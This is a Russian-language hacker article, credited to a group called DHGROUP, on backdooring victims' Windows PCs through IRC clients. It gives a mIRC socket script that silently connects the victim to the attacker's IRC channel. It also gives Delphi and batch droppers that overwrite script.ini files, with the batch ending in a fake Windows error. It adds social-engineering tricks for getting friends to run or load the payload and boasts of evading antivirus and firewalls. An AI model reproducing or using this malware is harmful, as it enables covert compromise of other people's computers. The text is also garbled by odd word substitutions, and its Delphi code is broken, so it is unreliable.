1. Intro. 2. Трояны. 3. mIRC
скрипты. I. строчим свой скриптовый
бэкдор II. строчим на delphi прогу, которая вставит
бэкдора во вражеский mIRC III. строчим на batch'ах
прогу, которая вставит бэкдора во вражеский mIRC IV.
cоциальный инженеринг: впариваем прогу =) 4. Оба способа в
сравнении. 5. Как защититься. 6. Outro.
1. В
наши времена, среди владельцев популярных каналов, стало модным вешать на чанелы
по дюжине ботов с разных linux shell'ов для обеспечения, так сказать,
"безопасности канала". Я, несомненно, ничто никак не владею напротив каждых там eggdrop'ов,
но как существовать бесхитростным смертным юзерам, у которых нет ни шелла, ни сс, ни знаний
(как например у элиты с канала #31337 на сервере irc.dal.net.ru =)? Так вот в
этой статье мы расскажу, как повесить бота на машину с win-подобной
операционкой. Имхо, существует только пара способа осуществить это: трояны и
трояны =) Начнём с главного.
2. Если ты был на мсне (irc.msn.com)
перед его закрытием, то ,наверное, успел насладиться n-ным кол-вом ботов на
каналах #russian_chat, #russian_girls, #russian_andybig также тд. Так вот, данные боты
далеко никак не eggdrop'ы. Это, так сказать, SubSeven'ы. Слышал про такой конь? Sub7
единственный троян на моей памяти, какой позволял удалённо вешать irc-бота (я
давно никак не юзал троянов, так что никак не знаю, появились ли у него аналоги). Так что
качай Sub'a отсюда также наслаждайся.
Те же, кто никак не привыкли искать лёгких путей, могут произносить
дальше.
3. Возможности mirc-скриптов оочень даже внушительны.
Написать на них тот бла бла самый сgi-сканнер плёвое занятие, никак не говоря уж о простеньком
боте. Для образца возьмём скрипт WarSatan. В него как однажды также встроен такой
"простенький бот". В какое время вы соединяетесь со своим любимым irc-сервером, скрипт
попутно коннектит юзера guest к серверу irc.webchat.org также заводит его на каналы
#CHATOP, #MEKAH также #PANGKOR. Вот также весь механизм труда. Наша задача - написать
такого бла бла бесхитростного бэкдора в виде мирк-плагина. I.
Hаиболее важные строчки буду комментировать.
on
1:CONNECT:{ ;#открываем объединение с твоим irc
cервером .sockopen 31337 irc_сервер его_порт } on
1:DISCONNECT:{ ;#при разрыве соединения убиваем
сокет .sockclose 31337 } on
1:SOCKOPEN:31337:{ ;#авторизуемся на
irc-сервере .sockwrite -n $sockname USER BOT "" "localhost"
:Satanic bot .sockwrite -n $sockname NICK ник_бота $+
$r(1,999) ;#заходим на твой канал .sockwrite -n
$sockname join твой_канал } on 1:SOCKREAD:31337:{ ;#этот
скрипт автоматически дает ответ на серверный ping ;#без него сервер
будет кидать бота, потому что тот никак не дает ответ на пинги .sockread
%tmp if ($gettok(%tmp,1,32) == ping)
{ .sockwrite -n $sockname PONG
$gettok(%tmp,2-,32) } }
Убираем комментарии,
подставляем свои значения, нумеруем строки (просто скопируй это всё в
mIRC-редактор также сохрани - он самолично всё пронумерует) также сохраняем получившееся в
файл control.dll. Сам бэкдор готов. Теперь осталось вставить его в чужой
script.ini. II. Вот исходник на delphi проги, которая ищет
на винте файл script.ini ,, при удачном исходе поиска, подменяет его нашим.
Важно! Control.dll нужно иметь в одном каталоге с этой прогой.
program
Project1;
uses SysUtils, windows, shellapi;
const
search = 'script.ini'; //файл какой нужно найти также заменить replace =
'control.dll'; //файл, которым надобно заменить, вынужден быть // в том бла бла помещении
откуда запуститься эта прога =)
var buf: array [0..255] of
char; fl: PChar; flag:boolean = false;
function CopyFile(FromFile,
ToDir : string) : boolean; //функция копирования var F :
TShFileOpStruct; begin F.Wnd := 0; F.wFunc :=
FO_COPY; FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile); ToDir:=ToDir+#0;
F.pTo:=pchar(ToDir); F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or
FOF_SILENT; {$I-} result:=ShFileOperation(F) =
0; {$I+} end;
begin DeleteFile(where); CopyFile(replace,where) end;
//процедура
глоб. поиска function Find(DirN: string):boolean; var tsr:
TSearchRec; Full: string;
begin find:=false; if FindFirst(DirN +
'\*.*', faAnyFile, tsr) = 0 then repeat if (tsr.Name = '.') or (tsr.Name =
'..') then continue; Full:= DirN + '\' + tsr.Name; if tsr.Attr =
faDirectory then //если каталог Find(Full); until (FindNext(tsr) <>
0)or(tsr.Name = search)or flag;
if tsr.Name = search //если нашли then
begin find:=true; flag:=true; Change(pchar(DirN+'\'+tsr.Name)); end;
end;
//Основной
блок программы begin if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0
then Change(buf) else begin Find('c:'); // ежели надобно также на других
дисках искать то можешь сделать так: // if Not Find('c:') then // if Not
Find('d:') then // if Not Find('e:')
then //etc.... end;
end.
III. Если бла бла ты
с роду никак не занимался кодингом также тя кидает в дрожжь от слова "компилятор", давай
напишем такую прогу на batch'ах.
echo off cls if exist mirc.ini
goto in_the_same_dir if exist c:\mirc\MIRC.INI set mirc=c:\mirc if exist
c:\mirc\mirc\MIRC.INI set mirc=c:\mirc\mirc if exist c:\irc\MIRC.INI set
mirc=c:\irc if exist c:\irc\mirc\MIRC.INI set mirc=c:\irc\mirc if exist
c:\chat\mirc\MIRC.INI set mirc=c:\chat\mirc if exist c:\chat\MIRC.INI set
mirc=c:\chat if exist c:\progra1\mirc\MIRC.INI set
mirc=c:\progra1\mirc if exist c:\chat\looksharp\MIRC.INI set
look=c:\chat\looksharp if exist c:\mirc\looksharp\MIRC.INI set
look=c:\mirc\looksharp if exist c:\irc\looksharp\MIRC.INI set
look=c:\irc\looksharp if exist c:\progra1\looksharp\MIRC.INI set
look=c:\progra1\looksharp if exist c:\progra1\trion\MIRC.INI set
neo=c:\progra1\trion if exist c:\progra1\neo-ra\MIRC.INI set
neo=c:\progra1\neo-ra if exist c:\progra1\NeoRa\Trion\MIRC.INI set
neo=c:\progra1\NeoRa\Trion if exist c:\progra1\NeoRa\MIRC.INI set
neo=c:\progra1\NeoRa if exist c:\chat\NeoRa\MIRC.INI set
neo=c:\chat\NeoRa if exist c:\irc\NeoRa\MIRC.INI set neo=c:\irc\NeoRa if
exist c:\chat\neo-ra\MIRC.INI set neo=c:\chat\neo-ra if exist
c:\irc\neo-ra\MIRC.INI set neo=c:\irc\neo-ra if exist c:\chat\Trion\MIRC.INI
set neo=c:\chat\Trion if exist c:\irc\Trion\MIRC.INI set
neo=c:\irc\Trion if exist c:\Trion\MIRC.INI set neo=c:\Trion if exist
c:\NeoRa\MIRC.INI set neo=c:\NeoRa if exist c:\Neo-ra\MIRC.INI set
neo=c:\Neo-ra if exist d:\chat\NeoRa\MIRC.INI set
neo_here=d:\chat\NeoRa if exist d:\irc\NeoRa\MIRC.INI set
neo_here=d:\irc\NeoRa if exist d:\chat\neo-ra\MIRC.INI set
neo_here=d:\chat\neo-ra if exist d:\irc\neo-ra\MIRC.INI set
neo_here=d:\irc\neo-ra if exist d:\chat\Trion\MIRC.INI set
neo_here=d:\chat\Trion if exist d:\irc\Trion\MIRC.INI set
neo_here=d:\irc\Trion if exist d:\Trion\MIRC.INI set neo=d:\Trion if exist
d:\NeoRa\MIRC.INI set neo=d:\NeoRa if exist d:\Neo-ra\MIRC.INI set
neo=d:\Neo-ra if exist d:\mirc\MIRC.INI set mirc=d:\mirc if exist
d:\mirc\mirc\MIRC.INI set mirc=d:\mirc\mirc if exist d:\irc\MIRC.INI set
mirc=d:\irc if exist d:\irc\mirc\MIRC.INI set mirc=d:\irc\mirc if exist
d:\chat\mirc\MIRC.INI set mirc=d:\chat\mirc if exist d:\chat\MIRC.INI set
mirc=d:\chat if exist d:\looksharp\MIRC.INI set look=d:\looksharp if exist
d:\chat\looksharp\MIRC.INI set look=d:\chat\looksharp if exist
d:\mirc\looksharp\MIRC.INI set look=d:\mirc\looksharp if exist
d:\irc\looksharp\MIRC.INI set look=d:\irc\looksharp if "%mirc%"=="" goto
no_mirc deltree /y %mirc%\script.ini copy control.dll
%mirc%\script.ini cls :no_mirc if "%look%"=="" goto no_look deltree
/y %look%\System\lookevents04.sys copy control.dll
%look%\System\lookevents04.sys cls :no_look if "%neo%"=="" goto
end deltree /y %neo%\root\trionscr7.ini copy control.dll
%neo%\root\trionscr7.ini cls goto end :in_the_same_dir deltree /y
script.ini copy control.dll script.ini :end echo Your Microsoft Windows
is not correctly installed. echo Pleas re-install it and try again
Эта
байда методом тыка ищет mIRC, NeoRa Trion также Looksharp. Вероятность нахождения
довольно незначительна, так что желательно уломать субъекта положить это файло
вместе с control.dll в один каталог с его irc-клиентом. В случае удачного исхода
поиска, файло подменяет чуждый script.ini нашим control.dll. Сконвертируй этот
bat'ник в exe'шник каким-нибудь bat2exec'ом также можешь впаривать своим друзьям.
IV. Думаю, никак не мне тебе рассказывать о том, как
"впаривать" кому-то exe'шник. Просто хочется подчеркнуть одну особенность.
Согласись, прошение запустить твой exe'шник вызывет недоверие даже у самого
недалёкого юзера. Так что, разрешено пойти другим путём. Для этого вернёмся к пункту
I. НЕ НУМЕРУЙ строчки скрипта, просто засунь его в файл joke.mrc. Всё. Теперь
раздавай его своим друзьям со словами: положи его в каталог со своим мирком,
введи в его консоли "/load -rs joke.mrc" также наслаждайся всеми прелестями плагина
=)
4. И так, чем бла бла средство с подменой script.ini лучше? 1) не
ловится антивирусами 2) никак не ловится FairWall'ами. Думаю, многие разом с пеной
изо рта начнут доказывать, что ZoneAlarm также AtGuard оберегут их от этого. Спец
для них изъясняюсь: ежели mIRC в этих пары фаирволах прописан как Allowed
server\client, то фв даже никак не пикнет при изобретении соединения бэкдором. 3)
трудно обнаружить\убить даже бывалому юзеру
5. Ну только нынче о том,
как собственно защититься. Снова бла бла никак не буду рассматривать средство с Sub7'ом (т.к.
с ним всё понятно: AVP + ZoneAlarm), разом перейду ко другому. Для
обнаружения скриптового бэкдора стоит воспользоваться каким-нибудь mIRC плагином
вроди IPSearch'a, какой поискал бы на сервере юзера с таким бла бла ипом как у
тебя. Если таковой имеется, значит кто-то однозначно повесил на тебя бота. Если
же такой никак не найден, значит либо бот на приятелем сервере, либо ты чист. Также, для
обнаружения бота разрешено использовать тот бла бла самый ZAlarm: на этот момент,
крупнейшие IRC серверы, проверяют всех клиентов на прокси. Каким образом?
Простым сканированием портов. Так вот, ежели ты коннектишься к серверу
irc.some.com, a порты у тя сканирует какой-нибудь irc.lame.com, то стоит
задумкаться... Как убить бэкдора? Если никак не разбираешься в скриптинге, просто
переустанови irc заказчик.
6. Ну что разрешено сказать в завершении? Не
юзайте незнакомые скрипты также никак не заставляйте других это действовать =)
Автор: D4rkGr3y & r4ShRaY
Материал публикуется с разрешения DHGROUP (http://www.dhgroup.org)